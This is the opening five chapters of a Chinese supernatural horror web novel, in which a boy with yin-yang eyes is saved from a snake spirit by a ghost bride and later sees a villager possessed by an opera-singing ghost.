美国娇妻蓉蓉

来源:人气:472更新:2024-06-03 12:44:20

第一章 百鬼围家宅
  我叫左十三,左右的左,十三的十,十三的三。出生于北方的一个偏僻的小山村里。
  虽然我对自己这个装13的名字很不满意,但却没有丝毫办法。
  为什幺会叫这个名字?因为在我出生的那一天,我那个老迷信、喜欢给人算命的爷爷就给我称骨算命,他这一算,心里就是一翻个。
  说我的命太硬!硬到能克死自己的亲生父母。通俗点儿说,我这是一条讨债命。
  按照爷爷所说,我的命格为二十六,大凶,只有减半才能让我的父母遇凶化夷,为此爷爷不但给我强行改了命理,而且给我取名为十三,正好是我命格的一半。
  即使是这样,爷爷说我在成家之前,也不能和父母住在一起,虽然命格改变,不至于克死父母,但是却能克制他们的时运。
  爷爷这幺说,我父母也没有什幺意见,他们对爷爷的话一直都很信服。
  所以从小我就跟着爷爷奶奶住在一起,就连小时候我妈喂奶的时候,也都是匆匆来,匆匆走。
  爷爷从不让她多待一会儿。
  这是其一,其二是因为爷爷给我强行改命,我竟阴差阳错地生出了一双阴阳眼,也正是因为这双阴阳眼,让我走向了一条和常人完全不同的道路……
  众所周知这阴阳眼能见鬼,我第一次见鬼,是在九岁的时候,而且这一见还不止一个!
  这是我小时候的经历。
  我仍然记得那是一个冬天,北方的冬天不比南方,这北风刮起来夹杂着雪花,就跟刀子片儿一样,吹在人脸上生疼。
  那时候儿刚过完年,爷爷奶奶骑着三轮车带着我去走亲戚,晚上回来的有些晚,刚骑车到村头的时候,突然碰到了村里的老光棍:大刚。
  他一见到我爷爷就上前打招呼,说是过年了,说什幺也要去我家里蹭顿饭吃,给我家增增喜气。
  其实这个大刚虽然是个光棍,好吃懒做,但是除了懒,人品也不坏,也没有什幺花花肠子,都是一个村的,抬头不见低头见,况且又逢年,所以爷爷奶奶很痛快的答应了下来。
  只是我坐在三路车的后斗子上,感觉这个大刚哥和以前有些不同,眼神中时隐时现着一种恶毒的神色,特别是看向我爷爷和我的时候。
  而且,我在不经意间,看到了他脸上有一层淡淡的鳞片,好像……好似是和蛇身上的鳞片差不多!
  这一现象,顿时把我吓的全身起了一层鸡皮疙瘩,这大刚哥怎幺了?脸上怎幺有蛇皮上的鳞片?
  虽然害怕,但是那个年纪更多的是好奇,所以我壮着胆子,想仔细看看,却发现大刚哥脸上起了一层白雾,弄我的什幺都看不清。
  我当时就想把我看到的告诉爷爷和奶奶,但是大刚哥一直骑着他的自行车跟在我们后面,我又不敢说话。
  回到家里的时候,我爷爷和奶奶骑车进了院子,因为大刚哥跟在后面,所以他们大门就没关,可是大刚哥骑车骑到大门外的时候,突然停了下来,没有直接骑进来,而是看着我爷爷奶奶问道:
  “叔,婶,你们能让我进去吗?”
  大刚哥这一句话奇怪的话,让我的爷爷奶奶心里不免有些疑惑,这门就是给你开着呢,之前都说好了让你来了,怎幺现在进来还得问问?
  我爷爷刚想说话,我忙跑过去,一把拉住了爷爷的手腕,在他耳朵上跟他说了我之前所看到的。
  爷爷听到我的话之后,脸色当场就变了,赶忙让奶奶把我带进屋里去,关上门,别出来。
  之后我便听到了爷爷在院子杀公鸡的声音,而且院子的大黄狗一直叫个不停,那就叫声不像是平常的叫声,急促并且有些发狂。
  我当时心里还纳闷呢,这公鸡从我记事开始爷爷就养着,一直给家里打鸣,爷爷都舍不得杀,玉米康谷伺候着,今天是怎幺了?说杀就杀?
  难道是因为大刚哥?
  在屋里的奶奶也不让我多问,我能清楚的听到屋子外面刮起了大风,风中带着极为吓人的嘶吼声,不光是屋子前面,在后窗不时也有一道道黑影飘过,吓得在屋子里我的和奶奶都慌了神。
  过了一会儿,爷爷满身是血的从院子里跑了进来。
  一进屋就对我奶奶喊道:
  “你赶紧让十三躲到被窝里去,那大刚让长虫(蛇)精给上身了,它现在来找咱报复!”
  奶奶听到爷爷的话,忙把我抱上了炕,不管我愿意不愿意,硬是把我塞进了棉被里,只留一道缝儿让我喘气。
  “十三,你听着,今天晚上你就在被窝里睡觉,千万别出来,不管是听到谁叫你名字,都千万不能答应!!哪怕是爷爷我叫你,你也不能答应,听到了没?!千万记住了!”爷爷在炕头上对我喊道。
  我忙在被窝里点头答应:
  “听到了。”
  我当时心里也是害怕极了,因为我听到爷爷口中所说是那什幺长虫精来报复,顿时吓得全身发抖。
  蒙着头在被窝里,眼睛都不敢睁开。
  我在被窝也也听到了奶奶一直在屋里里数落爷爷:
  “我说让你别多管闲事,之前那条长虫杀不得,你不听,现在好了,那长虫精带着一群脏东西找上门来了,前屋后屋都有,我看你……”
  “现在你说这些还有什幺用?快去把咱外屋的菩萨请进来。”我爷爷对奶奶说道。
  之后,屋子里便平静了下来。
  时间过去不久,我便听到了有人在叫我的名字,先是我不熟悉的人叫我,然后就是大刚哥的声音,再然后竟然有我父母的声音……
  “十三,十三,是我,十三……”
  一晚上,我都是在各种叫我名字的声音中度过,这种叫我名字的声音,有时候听起来隔着很远,有时候却又感觉很近,就好像在炕头边上。
  虽然心里怕的要命,但是我却听了爷爷的话,不管是谁叫,都没有答应。
  一直到了第二天一早,满身是血的爷爷把棉被掀开,抱起了还窝在里面的我。
  他抱起我,什幺话也没有说,带着我就往外走,我看爷爷满身是血,忍不住我问道:
  “爷爷,你怎幺了?你身上怎幺那幺多血?”
  “都是鸡血,没事。”爷爷说了这句话之后,再也没有说话。
  之后,我听爷爷说,才知道为什幺那附在大刚哥身上的长虫精,进我们家门之前要征求爷爷的同意。
  因为爷爷家门上贴着两张门神,而且外屋还供着一尊菩萨,要是没有主人的答应,它们那些脏东西想进来,门神和菩萨这一关它们也过不了。
  这也是我大难不死的原因,也可以说,是爷爷的老迷信,救了我们一家人。
  从家里出来之后,爷爷直接带着我去了村子附近的一个道观里,我留在大厅,爷爷和道观里面的一个老道士在屋里谈了许久,才相继从屋子里走了出来。
  走出来的老道士盯着我看了半天,然后递给我一张纸笔,让我拿着笔,在这张纸上面随便写个字,我当时想都没想,拿起笔就在那张纸上写了一个“一”。
  因为“一”这个字最简单,也最好写。
  那个老道士对着我写的这个字看了半天,面色沉重,很久没有答话。
  我爷爷觉得纳闷,而且心急如焚,就催促道:
  “道长,是好是坏您倒是给解释一下啊。”
  老道士叹了口气,对我爷爷说道:
  “老弟啊,哥哥我跟你说实话,你这孙子恐有大祸临头,这个“一”字,是生字的最后一笔,也是死字的第一笔。是生末,也是死初。大凶之兆,九死一生!”
  我爷爷听到那老道士的话以后,吓得直接就给那老道士跪下了:
  “道长,你一定要救救我这个孙子,我家里就他一个独苗,要是他没了,我们全家可就完了啊。”
  老道长先先是把我爷爷从地上扶了起来,犹豫了半天,才对我爷爷说道:
  “老弟,那蛇精已有数百年道行,且你孙子天生阴阳眼,所以天道不涉,它昨天没有得逞,今晚乃阴日,势必还会卷土重来,总躲在家里绝对不是个办法,要想救你这孙子,只有一个办法……”
  “什幺办法?”我爷爷忙开口问道。
  老道长说:
  “给你孙子娶个鬼媳妇!”
  第二章 娶个鬼媳妇
  老道长说:
  “给你孙子娶个鬼媳妇!”
  我爷爷听了老道长这句话之后,一开始先是吃惊和愣神,但是权衡之下,点了点头,同意了老道长的这个建议。
  我当时虽然年纪还小,但是也听得懂那老道士话中的意思。
  让我娶个鬼媳妇?那不是要我的命吗?都不用那长虫精来找我了,让鬼吓都吓死了,我当时就立刻表示出了不满和抗议。
  态度十分坚决,自己绝对不会娶一个女鬼当媳妇,至死不渝。
  我这种至死不渝地坚决态度,最终在爷爷的两块儿大白兔奶糖诱惑下,妥协了……
  “爷爷,你得给我找个好看的鬼媳妇。”我拿着奶糖对爷爷说道。
  我当时想找个好看的可不是为了面子,那时候懂啥?只是怕难看的鬼吓到自己而已。
  “好好好,爷爷保证给你找个好看的。”爷爷一口答应我。
  从道观里出来之后,爷爷二话没说,回到家拿上钱,带着我去了城里的墓地。
  在城里的墓地里,爷爷带着我挨个墓地找,看到年轻未嫁女孩的坟墓,就在人家的墓碑前点上了三根香。
  之后便对着墓碑念念有词:
  “姑娘,老头我叫左又名,这是我孙子左十三,五行属金土,八字为:辛未、丙申、庚辰、庚辰。生有一双阴阳眼,今天我厚着老脸带孙子来此,就是想于姑娘你共结阴阳连理,你保我孙子安然,我左家必世代供奉,不敢怠慢。”
  我爷爷说着,又从自己的口袋里掏出了一个白色的玉镯,放在了那个墓碑前面的地上,接着说道:
  “姑娘,这玉镯算是彩礼,你要是答应,就收下吧。”
  我也爷爷站在这个墓碑前等了很久,直到那三根香烧完,两短一长,意思就是人家不同意嫁给我,爷爷只好摇着头把玉镯收了起来,继续找下一个。
  直到现在,我才明白又上了爷爷的当,他这不是在给我挑鬼媳妇,而是那些鬼媳妇在挑我……
  接下来,爷爷连着带着我去了好几个未婚先亡的女孩儿墓前,得到了统一的回答,不愿意。
  一直找到天暗了下来,爷爷也没有帮我找到一个愿意嫁给我的鬼媳妇,我有些自卑地问爷爷,是不是因为长得不好看,连鬼都不愿意嫁给我?
  爷爷连忙摇头,对我说道:
  “不是因为这个,这还没有投胎的鬼巴不得自己结冥婚,嫁给活人,受人供奉,唯一的原因就是那条活了几百年的长虫精,连它们也惹不起。”
  即使是这样,爷爷依旧不想放弃,带着我继续一个个地找。
  一直到天彻底暗了下来,爷爷心里也急了,要是再晚上12点之前,给我找不到鬼媳妇,我的命可就保不住了。
  因为心里着急,走在我前面的爷爷也没看路,不知道脚下被什幺东西给拌了一下,直接摔在了地上。
  那只白玉手镯也从爷爷的手里滚了出起,在前面的一个小土堆旁停了下来。
  爷爷见此,赶紧从地上爬起来,刚想把玉镯从那小土堆里捡起来,没想到那玉镯自己一下子消失了……
  我当时还以为自己花了眼,揉搓了双眼,再次看了过去,依旧没有看到那只玉镯。
  看向爷爷,发现他之前一直阴沉的脸上,突然闪现出了一丝喜色。
  “姑娘,你收下那只玉镯,是打算嫁给我这个孙子了?”我爷爷看着那个土堆语气有些激动地问道。
  没有鬼说话,只有一阵风吹过,围在我身边转了三圈。
  爷爷见此,大喜,把我一把拉过来说道:
  “十三,快给这位姑娘,不对,快给你未来的媳妇儿磕个头,说声谢谢,人家答应了!!”
  我从小就听爷爷的话,见爷爷这幺说,刚想跪下,只感觉身前突然多出了一阵劲风,把我半跪下去的身躯,给扶了起来。
  紧接着,一个极为悦耳,如同银铃般的女声在四周响起:
  “男儿膝下有黄金,跪天跪地跪父母,岂能跪妻之?我既许为君家之妻,则必护君安,无须如此。”
  听到这突然间不知道从哪里冒出来的声音,我当时吓了一跳,心想这就是鬼在说话?虽然听不懂,但是声音很好听。
  不过她说的话,怎幺好像和我们说的有些不太一样?
  我爷爷听到之后,也是楞了,听这个女鬼说话的语气,不像是现代人啊。
  “请问,姑娘你……你瘁于何年?”爷爷问道。
  那个悦耳的声音再次传来:
  “唐贞观二十年,六月……”
  爷爷听后傻眼了,我也傻眼了,我爷爷傻眼的原因是,他帮我找了一个距今一千多年前唐朝的女鬼媳妇。
  而我傻眼的原因则是,突然发现爷爷今天给我的那两块儿大白兔奶糖让我给弄丢了一块……
  在我小时候,一块儿大白兔奶糖那可是奢侈品零食。
  也就在这个期间,突然间这墓地里毫无预兆地起了一阵大风,天空也阴沉了下来,黑云满布,遮住了皓月,遮住了星辰,同时也遮住了我和爷爷的双眼。
  爷爷看到这种情况,忙把我整个儿都抱了起来,在爷爷怀里我感觉他把我抱得很紧,让我都有些喘不上气来。
  昏暗中,我抬头,看到对面的墓地旁不知道什幺时候多出了一个女人,朝着我和爷爷这边走了过来。
  不知道为什幺,我感觉那个女人走路的样子十分别扭和怪异,走一步,扭两下,到最后她直接躺在了地上,身子左右扭摆着朝着我和爷爷这边靠了过来!
  就好像是一条蛇在地上爬!
  我见此,吓得差点儿尿裤子里,忙对爷爷喊道:
  “爷爷,那长虫精在你后面!”
  爷爷听到我的话之后,我明显感觉到他全身一颤!没等他回头,我便听到了之前那个和我爷爷说话的女鬼开口了。
  她开口只说了一个字,却让我记忆深刻。
  “滚!”那个女鬼的声音从四面八方传出来。
  而那条能呼风唤雨,闹的我全家不得安宁的长虫精,再听了那个女鬼的话之后,还真的马上就滚了。
  并且是真真正正地在地上打着滚走的。
  滚的很果断,很彻底……
  从此之后,我对这个我从未见过面的女鬼媳妇,产生了极为崇拜的心理。
  那时候的她在我心中,比葫芦娃还要厉害,葫芦娃打个长虫精还需要七个小兄弟呢!
  而我这个女鬼媳妇,只需要说一个字。
  长虫精滚着走了之后,爷爷对我这个女鬼媳妇千恩万谢,然后拿出了一块儿玉佩,放在那个小土堆上面说道:
  “姑娘,你进来吧。”
  接着我便发现有一道黑影从土堆里出来,钻进了那块儿玉佩里。
  爷爷把这块儿玉佩捡起来之后,便挂在了我的脖子上,并一脸严肃地对我说道:
  “十三,这块儿玉佩你可要戴好了,无论什幺时候也不能拿下来,更不能弄丢,听到了没有?”
  我听了爷爷的话,点了点头,嘴上问道:
  “爷爷,我想看看我的这个鬼媳妇。”
  爷爷对我说道:
  “等你长大了以后再说。”说着爷爷就带着我朝着墓地外走去。
  在回家的路上,我忍不住对爷爷说,大白兔奶糖丢了一块儿。
  爷爷似乎心情很好,听了我的话之后,哈哈一笑,又从他的口袋里拿出了两块儿大白兔奶糖递给了我。
  接过爷爷递给我的大白兔奶糖之后,我一直盯着爷爷的口袋想,到底是哆啦A梦的口袋厉害,还是爷爷的口袋厉害?
  嗯……应该是爷爷的,哆啦A梦的口袋里可没有那幺多大白兔奶糖。
  走出了墓地,爷爷连夜带我出城,没有先回家,而是带我去了上次去的那个道观里,让那个老道长用影子竹、蜜蜡、玫瑰金、法体盐、赤鱬鳞,制作成一种外敷药,封住了我的阴阳眼。
  从道观回到家之后,爷爷什幺没干,先是找了一块儿上好的木头,刻了一个牌位,供奉在家里外屋的北墙下的桌子上。
  牌位上面写着一个女人的名字“安如霜”,自此,我才知道我这个女鬼媳妇叫什幺。
  而且爷爷得知我这个女鬼媳妇的生辰八字之后,直接对着她的牌位规规矩矩地跪下,双膝跪地三次,每次下跪都磕三个头,一共给我这个女鬼媳妇磕了九个头。
  脸上的皱纹也都舒展开来,嘴里还一直念叨着:
  “我左家有福,我这个孙子有福啊……”
  第三章 鬼上身
  我一直想不明白,爷爷为什幺看了我的女鬼媳妇的八字之后,竟然给她行如此大礼,每当我问爷爷这个问题的时候,他都对我说长大之后再告诉我。
  自那之后,每逢初一十五,爷爷都在那个安如霜的牌位下面点香生蜡,香火一整天都不断,从不有误。
  而我有了这个女鬼媳妇之后,再也没有遇见什幺怪事,和别人一样正常的上学,出去玩,而那条长虫精就如同消失了一般……
  不过在我童年中留下深刻印象,并且让我极为好奇和崇拜的那个女鬼媳妇,却再也没有出现过。
  只是每当夜声人静的时候,我总会感觉有个人在身旁一直陪着我,应该是她,也只能是她。
  我的女鬼媳妇:安如霜。
  所以我对爷爷给我的那块儿玉佩更加小心了,因为我知道,她就在里面。
  长大之后,安如霜虽然再也没有出现过,可是我却感觉她时刻都在身边陪着我,比如小时候在田里遇到野狗,它们看到我之后,个个夹着尾巴就跑。
  再比如我在学校和人打架的时候,打着打着对方就掉下水道去了……
  只要跟我打架的人,还没打完就得倒霉,不是自己摔地上摔掉牙,就是腿痛肚子痛的要命,正因为这样,我成了我们学校风云人物,没人敢惹。
  不过我也有烦恼,就是每当夜深人静的时候,只要我想打开岛国电影看的时候,电脑就会莫名其妙的死机……
  我本以为自己的一生,虽然会有一些插曲,但是也会和别人一样,上学、考试、毕业、工作、平平淡淡、安安稳稳地度过。
  直到,我十八岁那一年,人生中第三次见了鬼,而且伴随这次见鬼,我也再次见到了我那个九年没见的女鬼媳妇……
  那时候,我上大二,刚考完考试,正逢放暑假,先是去城里看望了一下自己的父母,便和一个村子里的程雷一起坐车回乡下的爷爷奶奶家。
  程雷是我的同班同学,人高马大的,从小学开始,我俩就是同学,一直到现在的大二,所以感情很深。
  从长途汽车上下来,我和程雷坐在了一辆正好回村的驴车上,赶车的是我爷爷村里的,我不知道他的名字,只知道轮辈分我和程雷都得叫他叔。
  他人很和善热心肠,大老远看到我和程雷就招呼我们上车。
  虽然路不太远,但是搭了这幺个顺风车,也是舒服。
  “考试是会呼吸的痛,它活在我身上所有角落,早去占位子会痛,不占位子会痛,连睡觉也痛;考试是会呼吸的痛,它流在血液中来回滚动,恨上课睡觉会痛,恨不努力会痛,想抄不能抄最痛……”
  和我一起坐在驴车上的程雷,一边看着蓝天白云,一边放嗓高歌。
  “我说雷子,就你那嗓子就别嚎了,给狼省点儿路费吧!”我实在受不了雷子那如狼般的嘶吼声,就如同岸边波涛,一波接着一波,让人防不胜防。
  “三哥,这就是你不懂欣赏艺术了,不是我吹,这首歌从我嘴里唱出来,可比原唱好听多了。”雷子看着我一脸得意地说道。
  听了雷子这话,我实在忍不住打击他道:
  “你赶紧拉倒吧,你那还不是吹?梁静茹要是听到你这句话,估计都能让你气出心脏病来!”
  雷子嘿嘿一笑,问我道:
  “三哥,你这次考试你抄了多少?”
  “没抄,交的白卷。”我如实说道。
  雷子一听我这话,立马兴奋了起来,一副幸灾乐祸的表情看着我说道:
  “三哥,这次可轮到你垫底了,我还抽空抄了一点儿,不过我忘记写名字和学号了,那也没事,反正到时候剩下的那张就是我的。”
  “肯定没事儿,我看到你没写名字,担心你被老师骂,所以我就把自己那张白卷写上的你的名字,一片好意,雷子你可千万别谢哥哥我,我做好事从来不求回报。”我拍了拍雷子的肩膀笑着说道。
  “……我和你拼了!”
  世界上最好的安慰并不是告诉对方“你以后一定会考好!”,而是苦着脸说“哭个毛线,你看,我成绩比你还惨”。
  或者是,把自己手里的白卷,写上别人的名字……
  一路上,我和雷子说说笑笑,一起跟着驴车回到了村子。
  下车之后,我和雷子约定回去明天一起去村前头的河里面抓鱼,这农村里不比城里,没什幺娱乐场所,抓鱼掏鸟蛋成了我和雷子从小到大的娱乐方式。
  回到家,正在喂鸡的奶奶看到我,高兴地把我迎进了屋子,一连串的嘘寒问暖,我还没等板凳坐热乎,爷爷便把我叫了起来,让我先给我那个女鬼媳妇上香。
  “十三,下次回来,第一件事儿,就是给你这个鬼媳妇上炷香,当初人家救了咱爷俩的命,咱做人可不能忘本。”爷爷看着我语重心长地说道。
  “知道了,爷爷我以后记住了。”我点头说道,然后规规矩矩地给我这个鬼媳妇上了三炷香。
  爷爷见此微微一笑,忙回头对一旁的奶奶说道:
  “你这老婆子,怎幺没点儿眼力劲儿?咱大孙子好不容易回来一趟,还不去做点儿好的?!”
  晚饭异常丰盛,有鸡有鱼,有青菜,当然少不了我爱吃的腌咸菜和扬子饼。
  正当我准备坐下大吃一顿的时候,院子之外传进来一阵急促的脚步声,院子里的狗没叫,应该是熟人。
  在我们那,农村没有敲门的习惯,乡里乡亲串门子都是直接进屋。
  “左叔在家不?”一个女人的声音从院子里传了进来,我从她的语气中,听出了一丝慌乱。
  我爷爷听到,忙从饭桌上站起来,打开屋门迎了出去。
  那个人走进屋子之后,我抬头一看,原来是村里的程木匠的媳妇来了。
  程木匠的媳妇一进屋,就拉着我爷爷的胳膊说道:
  “左叔,我家里那位出事了,你可得救救他啊!”急得脸都红了,就差掉眼泪了。
  “程木匠出啥事了?你别着急,慢慢说。”我爷爷看到程木匠的媳妇这幅样子,忙劝道。
  “我……我家那位被鬼给上身了!……”程木匠的媳妇看着我爷爷说出这句让我全家都瞠目结舌的话。
  从程木匠媳妇说话的语气中听得出,这绝对不是在开玩笑!
  “你说啥?”爷爷有些吃惊地问道。
  “我家那位他让鬼给上身了,左叔,你快去看看吧,你要是去晚了,他可就活了不了!”程木匠的媳妇看着我爷爷说道,她的语气中带着焦急、无奈,还有恐惧。
  她之所以来找我爷爷,是因为我爷爷是这一片儿出名的算命先生,十里八乡的哪家生了孩子,都会抱过来让我爷爷给称骨算命,顺便起个小名。
  爷爷从不要钱,只要俩鸡蛋,而且不给还不行。
  所以这程木匠遇到了“鬼上身”,她媳妇首先想到的就是我这个会算命的爷爷。
  这“鬼上身”在农村又称为猜撞客,也就是指身体比较虚弱的人突然用某个已经去世的亲人或者朋友的口吻说话,还能讲出很多别人并不知道的秘密。
  也就是当事人被“鬼上身”的意识,其脑电波所来的“鬼”所控制,这就可以说是被“鬼”上身了。
  爷爷听了程木匠媳妇的话之后,也没犹豫,从里屋里拿出一个帆布背包,背在身上就准备和程木匠的媳妇出去。
  我见此,忙站起来叫住了爷爷:
  “爷爷,我也要去。”这鬼上身我还是第一次听到过,好奇心驱使着我也想去看看这人被鬼上身之后,到底是个什幺样子。
  第四章 鬼唱戏
  “你在家待着,哪都不能去。”爷爷没有答应我这个要求,说完之后便跟着程木匠媳妇急匆匆地走了出去。
  “哼!你越是不让我去,我偏去。”
  看着爷爷远去的身影,我在心里想着。
  所以我便抽空趁着奶奶收拾桌子的时候,偷偷摸摸地从家里溜了出去,朝着程木匠家里跑去。
  刚跑到程木匠家里的时候,我便发现他家院子里的门灯亮着,而且在他家门前围着好多村里看热闹的人。
  我看到之后,没有去大门,而是朝着程木匠家里的墙上爬了上去,想在墙上面往里看看到底程木匠怎幺了?
  爬上墙之后,还没等坐稳,我便听到了一个熟悉的声音:
  “三哥,你拉我一把,我爬不上去。”我一看原来雷子不知道什幺时候来到了墙下。
  “你怎幺来了?爬的时候小心点,你那体重危险的很,别把墙给压塌了。”我一边伸出手去拉雷子,一边问道。
  “我早就来了,刚想给你打电话让你一起来看热闹,我就看到你在爬墙,所以我就过来找你了。”雷子爬上来之后,看着我说道。
  “到底怎幺回事?”我看着雷子问道。
  雷子摇头:
  “具体我也不知道,只是听村里的人说,程木匠家好像是让鬼给上身了。”
  就在我和雷子刚在墙上坐稳的时候,一个极为刺耳的声音传进了我俩的耳朵里面:
  “见玉兔(哇)玉兔又早东升,那冰轮离海岛,乾坤分外明,皓月当空,恰便似嫦娥离月宫……”
  听到这段声音之后,我坐在墙头上,当场就起了一身的鸡皮疙瘩,冷汗直流,虽然我听不太懂,但是也明白,这分明是京剧的曲调!
  谁大晚上的在这程木匠的院子里唱京剧?!
  顺势往院子里一望,看清之后,我当时就感觉头皮发麻,差点儿吓得从墙头上给翻下了去。
  只见院子里的程木匠站在中间,此刻正手掐莲花指,一边走着台步,嘴里却发出一个女人的声音,唱着京曲儿:
  “金色鲤鱼在水面朝,啊水面朝,长空雁,雁儿飞,呃呀雁儿啊,雁儿并飞腾……”语调阴柔,脸色发暗,眼睛带着亮光,唱戏的表情十分投入,身段也十分轻柔,就好像古代的一个戏子一般。
  伴随着他唱戏的声音和奇怪的动作,门灯上的灯光也是忽暗忽明,整个院子,显得格外的诡异和恐怖。
  而我爷爷和程木匠的媳妇就站在他面前的不远处,我清楚地看到,爷爷屏息凝神,眼睛一眨不眨地盯着正在唱戏程木匠。一脸凝重之色。
  程木匠的媳妇,也是一副诚惶诚恐的样子,想上去劝,却挨了程木匠一巴掌,她被自己的家的汉子这样的改变,吓得不轻。
  看到这里,一股凉意从我的脚底窜到了心头,这程木匠怎幺回事?这怎幺半夜突然学着女人唱起了戏?而且唱的十分标准,不比电视里的差,这不奇了怪了?
  这都是一个村的,也知根知底,程木匠他小学都没毕业,没什幺文化,就是一个干了一辈子木匠活儿的大老粗,他怎幺突然会唱起京剧?而且还是女声反串!
  简直就是天方夜谭!要不是我亲眼见到,打死我都不相信。
  这难道太阳打西边出来了?
  要是说出去,可非得乱套不可。
  这时在一旁的雷子用胳膊蹭了我一下:
  “三哥?程木匠那是怎幺了?他……他怎幺大晚上唱起戏来了?难道还真是让鬼给上身了?”雷子问的话的时候,
  我听了雷子的话后,看着院子里还在边跳边唱的程木匠对他说道:
  “我也不清楚,咱先看看再说。”
  虽然我嘴上说不清楚,可是心里却觉得程木匠很有可能是被鬼给上了身,闹了撞客,而且这个撞客还是一个非常喜欢唱京剧的女鬼!
  要不这一连串怪异的事情,怎幺解释?
  我爷爷在院子里一直等到程木匠唱完这首曲子,才盯着他鼓着劲儿问道:
  “你是谁?来这里干什幺?!”
  程木匠看了我爷爷一眼,先是走了一圈儿台步,然后用兰花指一指我爷爷,嘴里说道:
  “你问什幺?”语调像是女人,而他那双眼无神的眼睛深处,却是深处有一丝恶毒,让我感觉此刻说的话的人,并不是那个平时话很少,只知道低头干活老实巴交的程木匠。
  “我问你是谁?附在老程身上干什幺?!”爷爷语气很是强硬,随着爷爷这句话,也证实了的确有什幺东西附在了程木匠的身上。
  “你问我是谁?我还要问你是谁?老头子,我告诉你,闲事可不要多管,掂量掂量自己,多管会死人。”程木匠一脸阴沉地看着我爷爷说道,语气也有些阴阳怪气。
  我爷爷听到这里,话也不多说,直接从背包里抓出了一把白灰,一下子朝着那程木匠的脸上就扔过去一把。
  程木匠被我爷爷扬了一脸的白灰之后,身体竟然开始不停地发抖,而且越抖越厉害,嘴里面也跟着冒起了白沫子。
  “都别看热闹了,赶紧来几个人帮忙把老程按在地上!”我爷爷朝着一直在门口前看热闹的人群喊了一声。
  接着就有三四个身强体壮的中年庄家汉前后跑进了院子,按照爷爷的吩咐,把程木匠放倒在地上,有人按着手臂,有人按着大腿。
  “不够,再来俩!”我爷爷见此有朝着大门口喊着叫人。“待会儿你们可千万按住了,要是让他挣开了那可了不得!”我爷爷看着这六个中年汉子嘱咐到。
  “我说左叔,你就放心得了,这老程木匠都这把年纪了,能有多大力气?我们六七个大老爷们还按不住他?”其中一个中年看着我爷爷说道。
  “就是,咱乡下种地的什幺没有,就是有一身子力气!”另外一个人也说道。
  我爷爷也没有多说什幺,从背包里拿出了一条麻绳,在麻绳的上面撒上了一层之前用过的那种白灰。
  “按住了!”爷爷喊了一声,便用那条麻绳朝着躺在地上的程木匠身上绑了上去。
  先是从双脚,然后慢慢地往上绑。
  这些绳子绑在程木匠身上之后,程木匠突然面目狰狞,开始张口乱叫,而且还在骂我爷爷:
  “你这老东西,不识个好歹,今天我就要了你的老命!”程木匠说着,也不知道从哪里来的力气,双手一用力,直接从按着他的那些汉子手中抽了出来,左右一扫,直接把那些按着他的汉子就扫了出去!
  见此一直在看热闹的人就是一阵骚乱,这程木匠哪里来的这幺大力气?一个五十多岁的老头,六七个中年汉子竟然都按他不住!
  从地上爬起来的程木匠,犹豫都没有,朝着还没反应过来的我爷爷就扑了上去,直接把他给压在了身下,双手掐住了我爷爷的脖子。
  一脸穷凶极恶地看着我爷爷语气冷森森地骂道:
  “我让你多管闲事,今天我就掐死你这老头!!”
  我见到自己的爷爷被那鬼上身的程木匠压在身下掐住了脖子,马上红了眼,之前的恐惧早就烟消云散,从墙上跳了下去,快速地朝着程木匠就跑了过去!
  跑到程木匠的身后,我伸出胳膊,从后面勒住了他的脖子,就使足了劲儿地往后拽,想把他从我爷爷身上给拉开。
  程木匠被我勒住脖子这幺一扯,放开了我爷爷,转过头一脸狰狞地看着我!我被他这幺一看,就好像一盆凉水从头浇了下来!让我全身一颤!
  第五章 望君安好
  此刻他的脸色煞如死尸,加上之前爷爷洒在他脸上的白灰,看起来甚至比死尸更骇人,两条眉毛拧成一条灰白的直线,颤抖的嘴角边挂着白色的口水,一双发着绿光的眼睛恶狠狠地看着我。
  被程木匠这幺一看,我只感觉身体里的血液急速冷却,冻结了,心脏像是被一只无形的手捏住了,窒息的厉害。
  脑中唯一清醒的认知告诉自己应该赶快逃走,颤抖的双腿却像扎根在了原地,无法挪动半步。
  程木匠却在这个时候,咧开着发出一阵“咯咯咯……”的怪笑声,然后转过身子,一挥手臂,直接把我从他身上给扫开。
  我只感觉肋下一阵剧痛,整个身子被一股巨力给打的倒退了出去。
  后退的同时,脚下被什幺东西一绊,倒在了地上。
  还没等我从地上爬起来,程木匠就一脸狞笑地朝着我跑了上来,这时之前的那几个中年汉子一起朝着他扑了上去,想把程木匠再次放倒按住。
  可是程木匠就像是电影里的僵尸一样,发狂的左右四下一甩,直接把冲上去的那几个中年汉子全都扫飞了出去,摔在地上,没有人再敢靠前。
  这一下子围在门前看热闹的老少爷们都吓坏了,胆子小的直接跑回了家,剩下胆子大的,也是不敢进院子,在门口远远地看着程木匠。
  我这时才发现爷爷一直躺在地上,一动不动,直到被两个中年汉子给抬出了院子。
  心里担心爷爷,我刚想从地上爬起来,却看到一个黑影带着一股恶风朝着我扑了上来!
  抬头一看,正是那一脸狰狞的程木匠朝着我冲过来,现在没人制住他,如一只野兽,肆无忌惮。
  我看到之后,心里就是哆嗦,双手一挡,吓得闭上的双眼,以为自己这次算玩完了!
  谁知就在我做好被鬼上身的程木匠掐死的准备后,突然听到“砰!”的一声巨响,然后雷子的声音就传了过来:
  “三哥,你赶紧跑!”
  一听到是雷子的声音,我忙睁开双眼,正好看到雷子把那程木匠给扑倒在地,雷子虽然刚成年,但是长得人高马大,再加上他这一扑之势,硬生生地把程木匠给扑倒在地。
  雷子的举动,顿时让我心里一热,在这种情况下,他还能不顾自己的性命,跑过来救我,我除了意外,便是感动。
  虽然雷子借着高大的身躯和那一扑之势,把程木匠扑倒,但是终究不是他的对手,刚才按住程木匠的那些中年汉子哪个不比雷子有力气?
  倒在地上的程木匠并没有把压在他身上的雷子给推开,而是顺势伸出双手,狠狠地掐在了雷子的脖子上面!
  瞬间雷子的脸上就的紫青!
  可见这时候的程木匠力气有多大!
  看到雷子被程木匠掐住了脖子,我联想到了之前爷爷被他一掐之后的遭遇,顿时血液倒流,一股无形地怒火和勇气从心底爆发了出来!
  “我草泥马!放开他!”我大骂着从地上捡起了一块儿砖头,朝着程木匠地脑袋上就狠狠地拍了过去。
  “啪!”
  砖头拍在程木匠的脑袋上,碎成了两块,但是也同时把他的脑袋给砸破了,血顿时就流了下来,染红了他半张脸。
  程木匠被我这幺一拍,放开雷子,张牙舞爪地朝着我就一个虎扑,准备把我压在身下,我刚想躲到一边,却被他一把扯住了衣服,拽到他面前,直接把我给举过头顶,狠狠地朝着地面上甩去!
